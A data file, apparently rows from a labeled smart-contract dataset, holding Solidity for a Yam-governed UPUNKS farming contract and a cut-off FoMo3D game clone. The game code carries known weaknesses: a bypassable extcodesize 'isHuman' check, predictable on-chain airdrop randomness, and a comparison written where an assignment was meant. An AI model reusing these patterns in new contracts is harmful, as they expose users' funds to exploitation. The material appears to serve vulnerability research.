(bool success, bytes memory returndata) = target.call.value(weiValue)(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library Babylonian {
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
library FixedPoint {
struct uq112x112 {
uint224 _x;
}
struct uq144x112 {
uint _x;
}
uint8 private constant RESOLUTION = 112;
uint private constant Q112 = uint(1) << RESOLUTION;
uint private constant Q224 = Q112 << RESOLUTION;
function encode(uint112 x) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(x) << RESOLUTION);
}
function encode144(uint144 x) internal pure returns (uq144x112 memory) {
return uq144x112(uint256(x) << RESOLUTION);
}
function div(uq112x112 memory self, uint112 x) internal pure returns (uq112x112 memory) {
require(x != 0, 'FixedPoint: DIV_BY_ZERO');
return uq112x112(self._x / uint224(x));
}
function mul(uq112x112 memory self, uint y) internal pure returns (uq144x112 memory) {
uint z;
require(y == 0 || (z = uint(self._x) * y) / y == uint(self._x), "FixedPoint: MULTIPLICATION_OVERFLOW");
return uq144x112(z);
}
function fraction(uint112 numerator, uint112 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112((uint224(numerator) << RESOLUTION) / denominator);
}
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
function decode144(uq144x112 memory self) internal pure returns (uint144) {
return uint144(self._x >> RESOLUTION);
}
function reciprocal(uq112x112 memory self) internal pure returns (uq112x112 memory) {
require(self._x != 0, 'FixedPoint: ZERO_RECIPROCAL');
return uq112x112(uint224(Q224 / self._x));
}
function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x)) << 56));
}
}
library UniswapV2OracleLibrary {
using FixedPoint for *;
function currentBlockTimestamp() internal view returns (uint32) {
return uint32(block.timestamp % 2 ** 32);
}
function currentCumulativePrices(
address pair,
bool isToken0
) internal view returns (uint priceCumulative, uint32 blockTimestamp) {
blockTimestamp = currentBlockTimestamp();
(uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).getReserves();
if (isToken0) {
priceCumulative = IUniswapV2Pair(pair).price0CumulativeLast();
if (blockTimestampLast != blockTimestamp) {
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
priceCumulative += uint(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed;
}
} else {
priceCumulative = IUniswapV2Pair(pair).price1CumulativeLast();
if (blockTimestampLast != blockTimestamp) {
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
priceCumulative += uint(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed;
}
}
}
}
contract TWAPBoundedUPUNKSSEPT {
using SafeMath for uint256;
uint256 internal constant BASE = 10**18;
uint256 internal constant ONE = 10**18;
IUniswapV2Pair internal uniswap_pair = IUniswapV2Pair(
0x6E01DB46b183593374A49c0025e42c4bB7Ee3ffA
);
IERC20 internal constant WETH = IERC20(
0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
);
IERC20 internal constant SEPT_UPUNKS = IERC20(
0x86140A763077155964754968B6F6e243fE809cBe
);
uint32 internal block_timestamp_last;
uint256 internal price_cumulative_last;
uint256 internal constant MIN_TWAP_TIME = 60 * 60;
uint256 internal constant MAX_TWAP_TIME = 120 * 60;
uint256 internal constant TWAP_BOUNDS = 5 * 10**15;
function quote(uint256 purchaseAmount, uint256 saleAmount)
internal
view
returns (uint256)
{
return purchaseAmount.mul(ONE).div(saleAmount);
}
function bounds(uint256 uniswap_quote) internal view returns (uint256) {
uint256 minimum = uniswap_quote.mul(BASE.sub(TWAP_BOUNDS)).div(BASE);
return minimum;
}
function bounds_max(uint256 uniswap_quote) internal view returns (uint256) {
uint256 maximum = uniswap_quote.mul(BASE.add(TWAP_BOUNDS)).div(BASE);
return maximum;
}
function withinBounds(uint256 purchaseAmount, uint256 saleAmount)
internal
view
returns (bool)
{
uint256 uniswap_quote = consult();
uint256 quoted = quote(purchaseAmount, saleAmount);
uint256 minimum = bounds(uniswap_quote);
uint256 maximum = bounds_max(uniswap_quote);
return quoted > minimum && quoted < maximum;
}
function update_twap() public {
(
uint256 sell_token_priceCumulative,
uint32 blockTimestamp
) = UniswapV2OracleLibrary.currentCumulativePrices(
address(uniswap_pair),
true
);
uint32 timeElapsed = blockTimestamp - block_timestamp_last;
require(timeElapsed >= MIN_TWAP_TIME, "OTC: MIN_TWAP_TIME NOT ELAPSED");
price_cumulative_last = sell_token_priceCumulative;
block_timestamp_last = blockTimestamp;
}
function consult() internal view returns (uint256) {
(
uint256 sell_token_priceCumulative,
uint32 blockTimestamp
) = UniswapV2OracleLibrary.currentCumulativePrices(
address(uniswap_pair),
true
);
uint32 timeElapsed = blockTimestamp - block_timestamp_last;
uint256 priceAverageSell = uint256(
uint224(
(sell_token_priceCumulative - price_cumulative_last) /
timeElapsed
)
);
uint256 purchasePrice;
if (priceAverageSell > uint192(-1)) {
purchasePrice = (priceAverageSell >> 112) * ONE;
} else {
purchasePrice = (priceAverageSell * ONE) >> 112;
}
return purchasePrice;
}
modifier timeBoundsCheck() {
uint256 elapsed_since_update = block.timestamp - block_timestamp_last;
require(
block.timestamp - block_timestamp_last < MAX_TWAP_TIME,
"Cumulative price snapshot too old"
);
require(
block.timestamp - block_timestamp_last > MIN_TWAP_TIME,
"Cumulative price snapshot too new"
);
_;
}
}
interface SynthMinter {
struct Unsigned {
uint256 rawValue;
}
struct PositionData {
Unsigned tokensOutstanding;
uint256 withdrawalRequestPassTimestamp;
Unsigned withdrawalRequestAmount;
Unsigned rawCollateral;
uint256 transferPositionRequestPassTimestamp;
}
function create(
Unsigned calldata collateralAmount,
Unsigned calldata numTokens
) external;
function redeem(Unsigned calldata debt_amount) external returns(Unsigned memory);
function withdraw(Unsigned calldata collateral_amount) external;
function positions(address account) external returns (PositionData memory);
function settleExpired() external returns (Unsigned memory);
function expire() external;
}
contract UPUNKSSEPTFarming is TWAPBoundedUPUNKSSEPT, UniHelper, YamSubGoverned {
enum ACTION {ENTER, EXIT}
constructor(address gov_) public {
gov = gov_;
}
SynthMinter minter = SynthMinter(
0xF8eF02C10C473CA5E48b10c62ba4d46115dd2288
);
bool completed = true;
ACTION action;
address internal constant RESERVES = address(
0x97990B693835da58A281636296D2Bf02787DEa17
);
function _mint(uint256 collateral_amount, uint256 mint_amount) internal {
WETH.transferFrom(RESERVES, address(this), collateral_amount);
WETH.approve(address(minter), uint256(-1));
minter.create(
SynthMinter.Unsigned(collateral_amount),
SynthMinter.Unsigned(mint_amount)
);
}
function _repayAndWithdraw() internal {
SEPT_UPUNKS.approve(address(minter), uint256(-1));
SynthMinter.PositionData memory position = minter.positions(
address(this)
);
uint256 upunksBalance = SEPT_UPUNKS.balanceOf(address(this));
if (upunksBalance >= position.tokensOutstanding.rawValue) {
minter.redeem(position.tokensOutstanding);
} else {
minter.redeem(
SynthMinter.Unsigned(
position.tokensOutstanding.rawValue - upunksBalance <=
5 * 10**18
? position.tokensOutstanding.rawValue - 5 * 10**18
: upunksBalance
)
);
}
}
function enter() public timeBoundsCheck {
require(action == ACTION.ENTER, "Wrong action");
require(!completed, "Action completed");
uint256 upunksReserves;
uint256 wethReserves;
(upunksReserves, wethReserves, ) = uniswap_pair.getReserves();
require(
withinBounds(wethReserves, upunksReserves),
"Market rate is outside bounds"
);
uint256 wethBalance = 119 * (10**18);
uint256 collateral_amount = (wethBalance * 79) / 100;
uint256 mint_amount = (collateral_amount * upunksReserves) /
wethReserves /
4;
_mint(collateral_amount, mint_amount);
_mintLPToken(uniswap_pair, SEPT_UPUNKS, WETH, mint_amount, RESERVES);
completed = true;
}
function exit() public timeBoundsCheck {
require(action == ACTION.EXIT);
require(!completed, "Action completed");
uint256 upunksReserves;
uint256 wethReserves;
(upunksReserves, wethReserves, ) = uniswap_pair.getReserves();
require(
withinBounds(wethReserves, upunksReserves),
"Market rate is outside bounds"
);
_burnLPToken(uniswap_pair, address(this));
_repayAndWithdraw();
WETH.transfer(RESERVES, WETH.balanceOf(address(this)));
uint256 upunksBalance = SEPT_UPUNKS.balanceOf(address(this));
if (upunksBalance > 0) {
SEPT_UPUNKS.transfer(RESERVES, upunksBalance);
}
completed = true;
}
function _approveEnter()
public
onlyGovOrSubGov
{
completed = false;
action = ACTION.ENTER;
}
function _approveExit()
public
onlyGovOrSubGov
{
completed = false;
action = ACTION.EXIT;
}
function _redeem(uint256 debt_to_pay)
public
onlyGovOrSubGov
{
minter.redeem(SynthMinter.Unsigned(debt_to_pay));
}
function _withdrawCollateral(uint256 amount_to_withdraw)
public
onlyGovOrSubGov
{
minter.withdraw(SynthMinter.Unsigned(amount_to_withdraw));
}
function _settleExpired()
public
onlyGovOrSubGov
{
minter.settleExpired();
}
function masterFallback(address target, bytes memory data)
public
onlyGovOrSubGov
{
target.call.value(0)(data);
}
function _getTokenFromHere(address token)
public
onlyGovOrSubGov
{
IERC20 t = IERC20(token);
t.transfer(RESERVES, t.balanceOf(address(this)));
}
} | 1 | 2,177 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is F3Devents {}
contract FoMo3Dshort is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x425020FF85f2E35b8269Af3d84DeFb2DC2BB6D12);
address private admin = msg.sender;
string constant public name = "FOMO Short";
string constant public symbol = "SHORT";
uint256 private rndExtra_ = 30 minutes;
uint256 private rndGap_ = 30 minutes;
uint256 constant private rndInit_ = 30 minutes;
uint256 constant private rndInc_ = 10 seconds;
uint256 constant private rndMax_ = 1 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(30,6);
fees_[1] = F3Ddatasets.TeamFee(43,0);
fees_[2] = F3Ddatasets.TeamFee(56,10);
fees_[3] = F3Ddatasets.TeamFee(43,8);
potSplit_[0] = F3Ddatasets.PotSplit(15,10);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(30,10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
